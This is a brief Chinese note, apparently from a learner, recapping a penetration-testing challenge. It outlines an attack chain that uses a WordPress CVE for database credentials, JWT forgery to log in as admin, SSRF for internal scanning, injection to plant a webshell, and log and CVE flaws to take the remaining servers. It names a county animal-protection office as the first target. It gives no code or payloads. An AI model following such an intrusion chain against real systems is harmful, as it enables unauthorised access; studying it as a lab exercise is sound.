.7是java环境服务器
渗透路线:
先渗透进新竹县动物保护防疫所,利用wordpress的cve来获取数据库账号密码,也就是.4服务器的账号密码(普通用户)。然后通过jwt伪造以管理员(dylan)身份登录进去。拿下.4服务器。然后通过ssrf进行内网扫描发现.5服务器80端口开放,.6服务器8888端口开放。.7服务器8080端口开放。通过读取源码发现注入漏洞成功写马拿下.5服务器。然后就是利用.5服务器去访问其他服务器。通过日志漏洞拿下.6服务器。 然后就是通过cve拿下.7服务器
第一次复现渗透题。感觉自己太太太菜了。。。除了前面几题后面全看wp跟着写的



